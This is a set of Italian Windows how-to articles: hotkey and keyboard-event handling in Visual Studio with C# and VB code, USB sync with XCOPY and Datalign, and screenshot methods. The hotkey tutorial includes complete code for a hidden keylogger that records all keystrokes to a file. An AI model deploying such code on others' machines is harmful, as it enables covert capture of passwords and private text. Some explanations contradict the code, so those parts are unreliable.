KEYPRESS EVENT: GESTIRE EVENTI DA TASTIERA E HOTKEY CON VISUAL STUDIO 2012 (VISUAL BASIC E VISUAL C#)

Quando si crea un’interfaccia con Visual Studio è abbastanza normale dover gestire gli eventi da tastiera. Capita di dover limitare l’inserimento di caratteri in un campo numerico, o di dover aprire menù o form alla pressione di alcuni tasti, oppure di creare degli HotKey per attivare delle funzioni, magari in background, quando l’applicazione è ridotta a icona.

Distinguiamo quindi due distinti livelli: Form e Sistema.

I metodi per gestire l’input da tastiera

Progettando dei tasti di scelta rapida di un menù, avremo bisogno di intercettare gli HotKey solo quando l’utente lavora sul nostro form, mentre volendo controllare il testo immesso in una TextBox durante la digitazione potremo concentrarci solo sugli eventi relativi a quell’oggetto.

Form level

Gestire gli eventi a livello di form significa ottenere una funzione che venga chiamata ogni volta che viene premuto un tasto sulla tastiera, ma solo quando il form è in primo piano. Ciò significa che quando il form va in background (ridotto a icona, o deselezionato perché si è passati ad un’altra finestra o programma), tale funzione non viene attivata.

La gestione è piuttosto semplice, ed è previsto dall’interfaccia di Visual Studio. Basta infatti abilitare il form a rilevare i tasti premuti (proprietà del form > KeyPreview = true) ed associare la funzione Form_KeyPress(...) all’evento KeyPress (Eventi > KeyPress), dentro la quale potremo conoscere il codice di ogni tasto premuto.

Object level

Sempre a livello di Form possiamo anche intercettare i tasti premuti quando il focus è su un determinato oggetto (TextBox, Button …), semplicemente attivando il relativo evento KeyDown(...), dunque potremo ad esempio intercettare i caratteri inseriti in un TextBox per filtrarli creando un campo di soli numeri, o sole lettere maiuscole.

System level

Intercettare gli eventi da tastiera a livello di sistema è leggermente più complicato perché bisogna ricorrere alla libreria User32.dll ed importare due specifiche funzioni per la registrazione degli HotKey, non messe a disposizione dagli automatismi di Visual Studio.

Una volta registrati gli eventi da tastiera, la pressione di un tasto causerà la chiamata della funzione WndProc(...), che dovrà essere aggiunta al progetto. L’evento verrà registrato anche quando l’applicazione è in background, ed è quindi la soluzione ideale per programmi che fanno screenshot, acquisizioni, controlli volume per mp3 player eccetera.

VISUAL STUDIO: PROGETTO “HOTKEY TEST”

Per comprendere il meccanismo delle funzioni relative alla cattura degli eventi da tastiera, creiamo insieme un’applicazione in Visual Studio capace di gestire le tre casistiche viste poco fa.

HotKey-test

Questa applicazione non farà altro che intercettare i tasti premuti e notificare gli eventi corrispondenti all’utente. Le tre funzioni principali sono:

  1. Eventi a livello di oggetto: filtrare i caratteri in un TextBox
  2. Eventi a livello di form: gestione HotKey in app
  3. Eventi a livello di sistema: gestione HotKey in Windows

Creazione di un nuovo progetto

Iniziamo creando un nuovo progetto. Scegliamo Nuovo Progetto dal menu di sinistra di Visual Studio 2012, e clicchiamo su Modelli > Visual Basic > Windows per elencare i tipi di progetto nell’elenco centrale. Decidiamo se farlo in Visual Basic o in Visual C#: in questo caso è indifferente perché riporterò il codice per entrambi i linguaggi. Clicchiamo ora su Applicazione Windows Form, inseriamo il nome del progetto (es. HotKey-test) e premiamo [OK].

Visual-Studio-new-project

Il form “Form1” di default è perfetto così com’è: ora iniziamo ad inserire i nostri elementi. Clicchiamo dentro il form: se sulla sinistra non abbiamo l’elenco degli oggetti da potervi inserire, clicchiamo su VISUALIZZA > Casella degli Strumenti.

  1. Trasciniamo una Label (Casella degli strumenti > Tutti i Windows Form > Label) e chiamiamola “label_instructions” (Proprietà > Progettazione > name)
  2. Trasciniamo un’altra Label e inseriamo il testo “Solo numeri:” (Proprietà > Aspetto > Text)
  3. Trasciniamo infine un TextBox e chiamiamolo “textBox_log

HotKey-test-Form1

Eventi a livello di form

Ora prepariamo Form1 a ricevere gli eventi da tastiera quando il nostro form è in foreground (attivo e selezionato): ci servirà per catturare i tasti premuti a livello di form.

Visual-Studio-KeyPreview

  1. Clicchiamo sul form per selezionarlo
  2. Sulla destra possiamo vedere le proprietà di Form1. Se la finestra delle proprietà non dovesse aprirsi, clicchiamo su VISUALIZZA > Proprietà
  3. scrolliamo tutte le proprietà portandoci alle ultime righe
  4. abilitiamo l’opzione KeyPreview

Abilitiamo l’evento KeyDown, in cui riceveremo i tasti premuti:

HotKey-test-Form1-keyDown

  1. Dopo aver cliccato sul form Form1, passiamo alla finestra Proprietà e clicchiamo sul pulsante Eventi (l’icona col fulmine)
  2. cerchiamo l’evento KeyDown (gruppo “Chiave“) e facciamo doppio click sulla sua destra
  3. si aprirà l’editor con il codice del form Form1 e verrà aggiunta la funzione Form1_KeyDown(object sender, KeyEventArgs e) in cui andremo ad inserire il nostro codice di gestione degli eventi

VISUAL C#

/*
* Intercept key pressed at FORM level
*/
private void Form1_KeyDown(object sender, KeyEventArgs e) 
{
  if (e.Modifiers == Keys.Alt && e.KeyCode == Keys.F8) 
  {
    MessageBox.Show("FORM HOTKEY\n\nKEY THREE WAS PRESSED !");
  }
}

 

VISUAL BASIC

'
' Intercept key pressed at FORM level
'

Private Sub Form1_KeyDown(sender As Object, e As KeyEventArgs) Handles MyBase.KeyDown
  If e.Modifiers = Keys.Alt And e.KeyCode = Keys.F8 Then
    MessageBox.Show("FORM HOTKEY" & vbCrLf & vbCrLf & "KEY THREE WAS PRESSED !")
  End If
End Sub

Alla pressione di [Alt] + [F8] l’applicazione visualizzerà il messaggio “FORM HOTKEY – KEY THREE WAS PRESSED”.

HotKey-test-Form1_KeyDown

Quando riceviamo l’evento Form1_KeyDown(...) andiamo a fare un semplice test sui tasti premuti. Gli eventi sono registrati nella variabile e, di tipo KeyEventArgs, la cui classe registra sia i tasti normali, sia quelli chiamati modifiers, come Alt, Control, Shift … Dunque ci basterà confrontare il tasto premuto e.KeyCode e il modificatore premuto e.Modifiers con quelli che vogliamo intercettare, usando la comodissima classe Keys.

Eventi a livello di oggetto

In questo caso vogliamo intercettare i caratteri immessi in un TextBox per bloccare l’inserimento di caratteri alfanumerici. La funzione corretta da utilizzare è KeyPress(...), che viene chiamata dopo KeyDown(..) e riceve il codice ASCII del tasto premuto.

  1. Torniamo alla finestra di progettazione di Form1 e clicchiamo sul TextBox, che abbiamo precedentemente chiamato textBox_log
  2. ora abilitiamo l’evento KeyDown: cliccando sul pulsante Eventi (icona col fulmine) della finestra Proprietà, individuiamo l’evento omonimo e infine facciamo doppio click nel campo alla sua destra per inserire la funzione textBox_log_KeyPress(object sender, KeyPressEventArgs e)
  3. inseriamo il nostro codice per la gestione dei caratteri immessi:

VISUAL C#

/*
* Intercept keys pressed at TEXTBOX level
*/
private void textBox_log_KeyPress(object sender, KeyPressEventArgs e)
{
  // non numeric characters will be catched here
  if (e.KeyChar < 48 || e.KeyChar > 57)
  {
  MessageBox.Show("TEXTBOX KEYPRESS\n\nNon numeric key WAS PRESSED !");
                e.Handled = true;
            }
        }

 

VISUAL BASIC

'
' Intercept key pressed at TEXTBOX level
'

Private Sub textBox_log_KeyPress(sender As Object, e As KeyPressEventArgs) Handles textBox_log.KeyPress
  ' non numeric characters will be catched here
  Dim key As Integer = CInt(AscW(e.KeyChar))
  If key < 48 Or key > 57 Then
    MessageBox.Show("TEXTBOX KEYPRESS" & vbCrLf & vbCrLf & "Non numeric key WAS PRESSED !")
    e.Handled = True
  End If
End Sub

Quando premiamo un tasto per scrivere nel box textBox_log, questo viene inviato alla funzione textBox_log_KeyPress(...) usando la variabile e“, di tipo KeyPressEventArgs. Il codice ASCII relativo al tasto premuto lo ritroviamo nella variabile tipo Char e.KeyChar: recuperiamolo nel formato che preferiamo (in questo caso un integer può permetterci di misurare i valori) e utilizziamolo per gestire il testo inserito.

HotKey-test-Form1_KeyPress

L’istruzione If key < 48 Or key > 57 Then filtrerà qualsiasi carattere non numerico, in modo che si possa bloccare per non farlo apparire nel capo di testo. Per fare questo il trucco è di notificare che l’evento è già stato gestito, impostando a True il valore e.Handled

Eventi a livello di sistema

Ed eccoci alla gestione più complessa, se così si può dire, che ci permetterà di creare un vero e proprio programma che resta in background, o ridotto a icona, e intercetta i tasti premuti dall’utente.

Per farlo utilizzeremo la libreria user32.dll che ci permetterà di registrare gli HotKey che ci servono e attivare una funzione alla loro pressione. Infatti in questo caso non andremo ad intercettare qualsiasi tasto premuto, come faremmo se stessimo progettando un keylogger, ma comunicheremo alla libreria esterna di mandarci un messaggio quando verranno premuti solo i tasti che ci interessano.

Vogliamo attivare due distinte funzioni alla pressione di due combinazioni di tasti: [Alt]+[F1] e [Alt]+[Ctrl]+[F12], dunque andremo a registrare due diversi HotKey .

La gestione di questi eventi ha la seguente struttura:

  • importazione dei servizi per utilizzare le librerie runtime
  • importazione da user32.dll delle funzioni necessarie: registerHotKey(…) e unregisterHotKey(…)
  • registrazione dei nostri HotKey con registerHotKey(…) durante l’evento Form1_Load(…)
  • gestione degli eventi legati alla pressione dei tasti all’interno della funzione WndProc(…), chiamata da user32.dll
  • cancellazione degli HotKey con unregisterHotKey(…) durante la chiusura del form, gestita da Form1_FormClosing(…)

Per utilizzare queste librerie non ci serve abilitare il KeyPreview del form e neppure la gestione degli eventi KeyPress e KeyDown.

Passo 1: importazione del servizio runtime

Apriamo il codice di Form1 e inseriamo l’istruzione che serve ad importare i servizi per poter utilizzare le librerie runtime:

VISUAL C#

// import InteropService for DllImport()
using System.Runtime.InteropServices;

namespace KeyPressExample_C     //namespace - project name
{
  public partial class Form1 : Form
  {
    .....

 

VISUAL BASIC

'  import InteropService for DllImport()
Imports System.Runtime.InteropServices

Public Class Form1
  .....

Passo 2: importazione delle funzioni

HotKey-test-Form1-imports

Importiamo le funzioni per la registrazione degli HotKey, contenute in User32.dll, e creiamo le variabili che ci serviranno per la loro gestione:

VISUAL C#

public partial class Form1 : Form
{
  
  // import the HOTKEY library
  [DllImport("user32.dll")]
  public static extern bool RegisterHotKey(IntPtr hWnd, int id, int fsModifiers, int vlc);

  [DllImport("user32.dll")]
  public static extern bool UnregisterHotKey(IntPtr hWnd, int id);



  // constants needed to set the alternate combo hotkeys
  private const int key_alt = 1;
  private const int key_ctrl = 2;
  private const int key_shift = 4;

  // id for hotkey management into WndProc()
  private const int WM_HOTKEY = 0x0312;

  // manage 2 different kotkeys to call 2 functions: set the hotkeys ids
  private const int HOTKEY_1_ID = 1;
  private const int HOTKEY_2_ID = 2;

  // set the functions keys to press
  private Keys HOTKEY_1 = Keys.F1;
  private Keys HOTKEY_2 = Keys.F12;
        
  // alt key to press with Function Key (i.e. Alt+F10)
  // default values: Alt=1, Ctrl=2, Shift=4
  // sum values to set a combo 
  //   Alt+Ctrl = 1+2 = 3 
  //   Alt+Shift = 1+4 = 5
  //   Alt+Ctrl+Shift = 1+2+4 = 7
  private int HOTKEY_1_ALT_ID = key_alt;
  private int HOTKEY_2_ALT_ID = key_alt + key_ctrl;

  public Form1()
  {
    InitializeComponent();
  }

  private void Form1_Load(object sender, EventArgs e)
  {
    .....

 

VISUAL BASIC

Public Class Form1

  ' import the HOTKEY library
  <DllImport("User32.dll")> _
  Public Shared Function RegisterHotKey(ByVal hwnd As IntPtr, _
              ByVal id As Integer, ByVal fsModifiers As Integer, _
              ByVal vk As Integer) As Integer
  End Function

  <DllImport("User32.dll")> _
  Public Shared Function UnregisterHotKey(ByVal hwnd As IntPtr, _
              ByVal id As Integer) As Integer
  End Function



  ' constants needed to set the alternate combo hotkeys
  Const key_alt As Integer = 1
  Const key_ctrl As Integer = 2
  Const key_shift As Integer = 4

  ' id for hotkey management into WndProc()
  Const WM_HOTKEY As Integer = &H312
  
  ' manage 2 different kotkeys to call 2 functions: set the hotkeys ids
  Const HOTKEY_1_ID As Integer = 1
  Const HOTKEY_2_ID As Integer = 2

  ' set the functions keys to press
  Dim HOTKEY_1 As Keys = Keys.F1
  Dim HOTKEY_2 As Keys = Keys.F12

  ' alt key to press with Function Key (i.e. Alt+F10)
  ' default values: Alt=1, Ctrl=2, Shift=4
  ' sum values to set a combo 
  '   Alt+Ctrl = 1+2 = 3 
  '   Alt+Shift = 1+4 = 5
  '   Alt+Ctrl+Shift = 1+2+4 = 7
  Dim HOTKEY_1_ALT_ID As Integer = key_alt
  Dim HOTKEY_2_ALT_ID As Integer = key_alt + key_ctrl


  Private Sub Form1_Load(sender As Object, e As EventArgs) _
                       Handles MyBase.Load
    .....

Le variabili create servono a facilitare e parametrizzare la gestione dei nostri tasti di scelta rapida, e visto che abbiamo deciso di usare delle combinazioni di tasti, dovremo registrare anche i modifiers, ovvero i tasti Alt, Control e Shift che andranno premuti insieme al tasto principale. I 3 tasti hanno un valore di rispettivamente 1, 2 e 4, e sommando i loro valori si andrà ad impostare la combinazione voluta. Ad esempio volendo impostare Ctrl+M come HotKey, il modifier sarà 1, mentre Alt+M avrà un modifier pari a 2. Se volessimo impostare Alt+Ctrl+M dovremo considerare i valori di Alt=1 e Ctrl=2 e sommarli: il modifier avrà il valore 3. Se infine usassimo 7 come modifier, significherebbe includere tutti e 3 i tasti 1+2+4=7.

Creiamo anche un ID che ci aiuti ad identificare i vari hotkey: avendone due diversi, ho creato le costanti HOTKEY_1_ID e HOTKEY_2_ID, che userò più avanti per registrarli. HOTKEY_1 e HOTKEY_2 sono invece variabili di tipo Keys e contengono i due tasti principali per le due combinazioni.

Ho deciso di usare variabili normali per semplificare al massimo il codice, ma se vi fosse la necessità di registrare una catena di HotKey dovremmo per forza utilizzare degli array per i tasti e i relativi ID, con cicli for per la relativa gestione.

Passo 3: registrazione degli HotKey

Registriamo gli HotKey e predisponiamo la loro cancellazione in fase di chiusura del form. Per farlo dovremo abilitare l’evento FormClosing(...) facendo doppio click sullo spazio a destra dell’omonima colonna nella finestra Eventi (Proprietà > Eventi), esattamente come abbiamo fatto in precedenza per gli eventi KeyPress e KeyDown.

VISUAL C#

private void Form1_Load(object sender, 
                             EventArgs e)
{
  // Register the hotkey sets to listen for
  RegisterHotKey(this.Handle, 
                 HOTKEY_1_ID, 
                 HOTKEY_1_ALT_ID, 
                 (int)HOTKEY_1);
  RegisterHotKey(this.Handle, 
                 HOTKEY_2_ID, 
                 HOTKEY_2_ALT_ID, 
                 (int)HOTKEY_2);

   // set the instructions label
   label_instructions.Text = "PRESS:\n\n- 1) Alt+F1\n- 2) Alt+Ctrl+F12\n- 3) Alt+F8\n\n- 4) try to put a char into the following textBox";

}

private void Form1_FormClosing(object sender, 
                               FormClosingEventArgs e)
{
  // unregister the hotkeys when the form is being closed
  UnregisterHotKey(this.Handle, HOTKEY_1_ID);
  UnregisterHotKey(this.Handle, HOTKEY_2_ID);

}

 

VISUAL BASIC

Private Sub Form1_Load(sender As Object, e As EventArgs) _
                 Handles MyBase.Load

  ' Register the hotkey sets to listen for
  RegisterHotKey(Me.Handle, _
                 HOTKEY_1_ID, _
                 HOTKEY_1_ALT_ID, _
                 HOTKEY_1)
  RegisterHotKey(Me.Handle, _
                 HOTKEY_2_ID, _
                 HOTKEY_2_ALT_ID, _
                 HOTKEY_2)

  ' set the instructions label
  label_instructions.Text = "PRESS:" & vbCrLf & vbCrLf & "- 1) Alt+F1" & vbCrLf & "- 2) Alt+Ctrl+F12" & vbCrLf & "- 3) Alt+F8" & vbCrLf & vbCrLf & "- 4) try to put a char into the following textBox"

End Sub


Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) _ 
           Handles MyBase.FormClosing

  ' unregister the hotkeys when the form is being closed
  UnregisterHotKey(Me.Handle, HOTKEY_1_ID)

End Sub

Abbiamo registrato gli HotKey tramite la funzione RegisterHotKey(...) in fase di apertura del form, e cancellato la registrazione con UnregisterHotKey(...) quando il form viene chiuso. RegisterHotKey(...) necessita dell’handle, ovvero chi gestirà le chiamate di callback, di un ID univoco, che noi abbiamo in HOTKEY_n_ID, del tasto da intercettare e del relativo modifier.

In Form1_Load(...) ho anche inserito l’istruzione che visualizza le istruzioni per l’uso del nostro progetto, visualizzate nella Label label_instructions.

HotKey-test-Form1-WndProc

Passo 4: evento “hotkey premuto” con WndProc(…)

WndProc(ref Message m) viene attivata da User32.dll quando avviene un evento precedentemente registrato. Ogni messaggio ha un suo ID identificativo, che noi abbiamo già memorizzato nella costante WM_HOTKEY, e un parametro specifico, che nel nostro caso riporta l’ID dell’HotKey, quindi ad ogni messaggio potremo filtrare sia il tipo di funzione con m.Msg, sia l’ID dell’evento con m.WParam.

VISUAL C#

/*
 * Intercept key pressed at SYSTEM level
*/
 protected override void WndProc(ref Message m)
{
  int hotkey_id =  m.WParam.ToInt32();
  if (m.Msg == WM_HOTKEY)
  {
    switch (hotkey_id)
    {
      case HOTKEY_1_ID:
        // bring the app to front ...
        this.WindowState = FormWindowState.Normal;  
        // ... and show a message
        MessageBox.Show("SYSTEM HOTKEY\n\nKEY ONE WAS PRESSED !");
        break;

      case HOTKEY_2_ID:
        this.WindowState = FormWindowState.Normal;
        MessageBox.Show("SYSTEM HOTKEY\n\nKEY TWO WAS PRESSED !");
        break;
      }
  }
  base.WndProc(ref m);

}

 

VISUAL BASIC

'
' Intercept key pressed at SYSTEM level
'
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
  
  If m.Msg = WM_HOTKEY Then
    Dim id As IntPtr = m.WParam
    Select Case (id.ToString)
      Case HOTKEY_1_ID.ToString
      ' bring the app to front ...
      Me.WindowState = FormWindowState.Normal 
      ' ... and show a message
      MessageBox.Show("SYSTEM HOTKEY" & vbCrLf & vbCrLf & _
                      "KEY ONE WAS PRESSED !") 
    
    Case HOTKEY_2_ID.ToString
      Me.WindowState = FormWindowState.Normal
      MessageBox.Show("SYSTEM HOTKEY" & vbCrLf & vbCrLf &_
                      "KEY TWO WAS PRESSED !")
    End Select
  End If
  MyBase.WndProc(m)

End Sub

Quando m.Msg ha il valore contenuto in WM_HOTKEY, significa che WndProc(…) è stata chiamata per via di un HotKey registrato in precedenza, dunque andremo subito a capire quale delle due combinazioni è stata premuta verificando il valore contenuto in m.wParam, che va prima convertito in un formato di nostra convenienza. Infine eseguiremo le nostre funzioni: per poter notificare l’utente quando l’app è in background o ridotta a icona, ho dovuto prima ripristinare il suo stato, con l’istruzione Me.WindowState = FormWindowState.Normal, per poi far apparire un MessageBox.

Un semplice keylogger con GetAsyncKeyState

La funzione RegisterHotkey(…) vista prima permette di ricevere un messaggio dal sistema quando viene premuta una determinata combinazione di tasti. Ma se volessimo conoscere tutti i tasti premuti dall’utente ?

Ciò è possibile usando GetAsyncKeyState(int key), che ci permette di conoscere lo stato di un tasto in tempo reale: in poche parole se sto premendo il tasto [U], GetAsyncKeyState((int)'U') mi restituirà true.

Per intercettare i tasti premuti quindi mi basterà testare tutti i caratteri ogni tot millisecondi usando un Timer.

simple-keylogger

Come si può notare dall’immagine, questo keylogger è un pò pazzerello: il motivo principale è che GetAsyncKeyState(...) fa un’istantanea dello stato del tasto richiesto, quindi se faccio in tempo a fare due test uguali prima che l’utente abbia rilasciato il tasto, me lo ritrovo doppio. Al contrario, aumentando il valore del timer rischierei di perdermi qualche tasto, dunque si dovrebbe implementare un sistema di memoria che entro un certo lasso di tempo riconosce il tasto doppio, oppure implementare un hook della tastiera per impostare un keylogger ad hoc.

Ad ogni modo, ecco qua il codice da inserire nel nostro Form1 di un nuovo progetto, dopo avervi trascinato dentro un Timer (Timer1) e una TextBox (TextBox1), impostando la proprietà multiline = true :

VISUAL C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.Runtime.InteropServices;

namespace SimpleKeylogger_C
{
    public partial class Form1 : Form
    {

        [DllImport("user32.dll")]
        public static extern bool GetAsyncKeyState(int key);


        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            Timer1.Start();
        }

        private void Timer1_Tick(object sender, EventArgs e)
        {
            for (int i = 3; i <= 255; i++) { string ch = null; if (GetAsyncKeyState(i)) { ch = ((System.Windows.Forms.Keys)i).ToString(); if (ch.Length > 1)
                    {
                        ch = "{" + ch + "}";
                    }
                    TextBox1.Text = TextBox1.Text + ch;
                }
            }
            if (TextBox1.Text.Length > 1000)
                saveResults();
        }
   


    private void saveResults()
    {
	    System.IO.FileInfo fi = new System.IO.FileInfo("keys.txt");
	    System.IO.StreamWriter sw = default(System.IO.StreamWriter);

	    if (fi.Exists == false) {
		    sw = fi.CreateText();
	    } else {
		    sw = fi.AppendText();
	    }
	    sw.Write(TextBox1.Text);
	    sw.Flush();
	    sw.Close();
	    TextBox1.Text = "";
    }

    }

}

 

VISUAL BASIC

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub


    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        For i As Integer = 3 To 255
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                TextBox1.Text = TextBox1.Text + ch
            End If
        Next
        If TextBox1.Text.Length() > 1000 Then saveResults()
    End Sub


    Private Sub saveResults()
        Dim fi As IO.FileInfo = New IO.FileInfo("keys.txt")
        Dim sw As IO.StreamWriter

        If fi.Exists = False Then
            sw = fi.CreateText()
        Else
            sw = fi.AppendText()
        End If
        sw.Write(TextBox1.Text)
        sw.Flush()
        sw.Close()
        TextBox1.Text = ""
    End Sub
End Class

 

SCARICA IL CODICE

Estrai il file e inseriscilo nel tuo progetto di Visual Studio. Puoi anche aprire i file con notepad per recuperare il codice e incollarlo nel codice del tuo Form.

Come sincronizzare la chiavetta USB con il PC in pochi click

Tanti anni fa comprai una delle prime chiavette USB da 32 GB uscite sul mercato. Ricordo ancora di averla pagata una sessantina di euro, e li valeva tutti perché ad oggi non ha mai perso un colpo, anche se l’esterno è così consumato da non poter leggere più neanche la marca. Da più di un quinquennio questa chiavetta fa il suo dovere, pare indistruttibile, ma sappiamo tutti che prima o poi il nostro mini-archivio portatile ci tradirà. E per questo motivo tutti noi abbiamo una copia di sicurezza del contenuto della chiavetta sul PC, mi auguro.

Per fare il backup di file e cartelle su Windows ci sono programmi appositi, come l’ottimo e gratuito Comodo Backup, o i prodotti Acronis.

Spesso però ci si porta dietro i documenti importanti, alcuni programmi o gli mp3 preferiti, e a volte capita di inserire nuovi file, o modificarne altri. Questo può succedere con la USB quando si è in ufficio, o a casa di un amico o di un collega, oppure a casa nostra, dove lavoriamo direttamente con i file salvati sul PC, senza inserire la chiavetta. Ogni volta che apportiamo modifiche all’uno o all’altro supporto, poi ci tocca allinearli, ricordandoci cosa abbiamo aggiunto o aggiornato e dove. E non sempre è così semplice …

Come fare a capire cosa è aggiornato sulla USB e cosa invece è più nuovo sul PC ? Come essere sicuri di non perdere nessun appunto, di non sostituire il file aggiornato con quello vecchio ? Insomma come fare a sincronizzare chiavetta USB e PC rendendole perfettamente identiche ed aggiornate ?

Ecco che ci viene in aiuto un vecchio programma, potente quanto famoso, che si usa sin dai tempi del vecchio Dos:  XCOPY., insieme ad un’interfaccia molto particolare: Datalign

XCOPY

Questo programma, esistente anche su Windows, serve a copiare file e cartelle da una destinazione e l’altra, con una serie di comode opzioni per decidere quali file copiare, se creare le cartelle, se copiare anche i file nascosti, eccetera.

Ed è quindi in grado di copiare e sovrascrivere solo i file con la data più recente, cosa che fa proprio al caso nostro.

XCOPY funziona con la riga di comando dal Prompt dei comandi: quella finestrella stile Dos che appare scrivendo “cmd” nella finestra Esegui di Windows (tasti [Windows] + [R]), o cliccando su “cmd.exe” dopo aver scritto “cmd” nel campo di ricerca del menù Start.

Una volta avviato il prompt dei comandi, digitiamo xcopy /? per ottenere l’aiuto in linea e l’elenco dei parametri.

Per copiare il contenuto di una cartella su un altro supporto, o in un’altra cartella, e aggiornare solo i file più vecchi, creando eventualmente cartelle e file inesistenti nella destinazione, ci basta usare l’opzione /D /E. Ad esempio:

  • apriamo Gestione Risorse (tasti [Windows] + [E]), entriamo nel disco C: e creiamo la cartella prova (tasto destro > nuova cartella)
  • facciamo doppio click sulla cartella prova e creiamo due ulteriori sottocartelle: uno e due
  • entriamo nella cartella uno e creiamo la sottocartella gennaio
  • ora entriamo nella cartella C:\prova\uno e copiamoci dentro dei file a caso dal desktop o dai documenti; copiamo un file anche dentro la cartella gennaio
  • apriamo il prompt dei comandi ([Windows] + [R] > “cmd”) e digitiamo:
    xcopy.exe "C:\prova\uno" "C:\prova\due" /D /E
  • osserviamo XCOPY al lavoro e poi esploriamo la cartella due con Gestione Risorse: troveremo i file della cartella uno nella cartella due, compresa la sottocartella gennaio con i suoi file.

xcopy2

Come si può vedere dall’immagine, XCOPY ha copiato tutti i file e le cartelle che ha trovato perché la cartella di destinazione era vuota. Ma se ora ripetessimo lo stesso comando:
xcopy.exe "C:\prova\uno" "C:\prova\due" /D /E
XCOPY non copierebbe nessun file, perché il parametro /D gli dice di sovrascrivere solo i file più vecchi.

Abbiamo copiato cartelle e sottocartelle e confrontato le date dei file con un’unica operazione: fantastico !

Datalign: xcopy interface

XCOPY è potente ma manca di interfaccia grafica e di funzioni dedicate all’allineamento bidirezionale. Niente paura, Datalign fa proprio questo.

Con Datalign basta impostare le due cartelle, scegliere se fare la copia in una direzione piuttosto che in un’altra, o anche in modo bidirezionale (prima da A a B, poi da B ad A), selezionare le opzioni e premere [Esegui]. Tutto qui: l’operazione terminerà con il report delle operazioni aperto con Blocco Note, e il nostro allineamento bello che fatto !

datalign3

Per installare Datalign:

Usare questo programma è piuttosto semplice. Mettiamo di avere i nostri dati “portatili” nella chiavetta, dentro la cartella “K:\Miei Documenti“, e di averli anche sul PC nella cartella “C:\Users\Max\Documenti\Doc-chiavetta“:

  • inseriamo la chiavetta in una porta USB. La prima volta Windows assegna una lettera di unità ad una nuova chiavetta, mentre le volte successive la riconosce e tenterà di assegnarle la stessa lettera, se possibile.
  • eseguiamo Datalign cliccando sul link creato in precedenza
  • nel campo Cartella A clicchiamo su [Seleziona] e selezioniamo la cartella Miei Documenti dentro la chiavetta K:
  • ora clicchiamo su [Seleziona] a destra, nel riquadro Cartella B e selezioniamo la cartella C:\Users\Max\Documenti\Doc-chiavetta
  • è anche possibile copiare l’indirizzo da Gestione Risorse e incollarlo nei due campi, o scriverlo a mano
  • ora clicchiamo sul pulsantone centrale per definire la modalità di copia: A > B, A < B oppure bidirezionale: A<>B. Scegliamo quest’ultimo, così le due cartelle si allineeranno “scambiandosi” tra loro i file aggiornati o nuovi
  • osservando le opzioni per capirne il significato, lasciamo quelle di default così verranno sostituiti solo i file vecchi, create le cartelle, anche se vuote, e sovrascritti i file senza conferma
  • nel riquadro sotto, ad ogni nostra azione verranno aggiornate le righe di comando: qui possiamo anche aggiungere delle opzioni di XCOPY a mano e addirittura inserire righe nuove, creando un vero e proprio batch file con comandi Dos
  • premiamo [Esegui] per procedere con l’allineamento: si aprirà un prompt dei comandi dove potremo vedere XCOPY all’opera, e alla fine anche il Notepad con il report dell’operazione.

Durante l’operazione di allineamento, se la quantità di file è grande, il log a video potrebbe anche apparire in ritardo, facendo sembrare bloccata l’operazione; in realtà XCOPY continuerà a lavorare e in breve tempo porterà a termine l’operazione aprendo il log file.

Datalign è gratuito, leggero e non richiede installazione: un piccolo software che ci farà risparmiare un sacco di tempo e ci eviterà la perdita di appunti e file preziosi !

Cattura lo schermo con Windows 7 / 8 / 10

Tempo fa sviluppai un programma in grado di gestire i mod di Call of Duty  World at War Nazi Zombie per semplificare la vita ai player: CoD WaW Mod Manager, che tra le altre cose, permetteva di abbinare una screenshot alle varie mappe.

Per me è un’operazione normale, visto che lavoro col PC, ma quando un mio compagno di “caccia virtuale”, pensando di fare cosa gradita, mi inviò le foto di alcune mappe fatte col cellulare, mi resi conto che forse fare una screenshot non è per tutti una cosa così semplice.

Windows offre due soluzioni per scattare un’istantanea al video: il tasto [STAMP] e lo strumento di cattura immagini, ma tutti e due richiedono l’intervento dell’utente ad ogni screenshot fatta. Per godere di maggiori opzioni si può optare per una terza soluzione: un applicazione sviluppata appositamente.

CATTURA LO SCHERMO CON [STAMP]

In qualsiasi momento, durante una partita o mentre si guarda un video su youtube, o quando appare una finestra di errore, o dei popup indesiderati, possiamo premere il tasto [STAMP] (o [Prt.Scr]) per scattare una foto allo schermo. La screenshot verrà messa negli appunti pronta per essere recuperata con copia/incolla usando un programma qualsiasi di editing grafico.

Per salvare l’immagine possiamo usare Paint, il programma di disegno di default di Windows:

  • avviamo Paint da Start > Accessori
  • premiamo sul pulsante Incolla
  • clicchiamo poi sul floppy disk in alto a sinistra per salvare l’immagine
  • selezioniamo la cartella e il formato dell’immagine. Inseriamo il nome e premiamo [OK].

paint

Per scattare una screenshot ad una finestra anziché all’intero schermo, basta premere [ALT] + [STAMP].

Il metodo è piuttosto limitato e non è comodissimo, ma è l’unico che non necessita di alcuna preparazione. In qualsiasi momento basta premere [STAMP] e il gioco è fatto ! Vantaggio da non sottovalutare.

STRUMENTO DI CATTURA DI WINDOWS

Lo strumento di cattura permette di fare screenshot allo schermo, ad una finestra o ad un’area definita dall’utente, e infine di salvare l’immagine in diversi formati. In pratica unisce la funzione del tasto [STAMP] e di Paint, con qualche opzione in più.

strumento-di-cattura1

  • Digitiamo “cattura” nella casella di ricerca del menu Start e clicchiamo su Strumento di cattura,
  • selezioniamo il metodo preferito cliccando sulla freccina sulla destra del pulsante Nuovo,
  • clicchiamo su Nuovo per fare la screenshot; se abbiamo scelto di farla ad un’area dello schermo, dovremo prima selezionarla col mouse
  • lo strumento di cattura ora visualizzerà la nostra screenshot con le opzioni di salvataggio in alto a sinistra: clicchiamo su salva, selezioniamo cartella, formato e nome file, e salviamo l’immagine.

OCR STAR: SALVATAGGIO AUTOMATICO, SEQUENZE, OCR E TRADUZIONE !

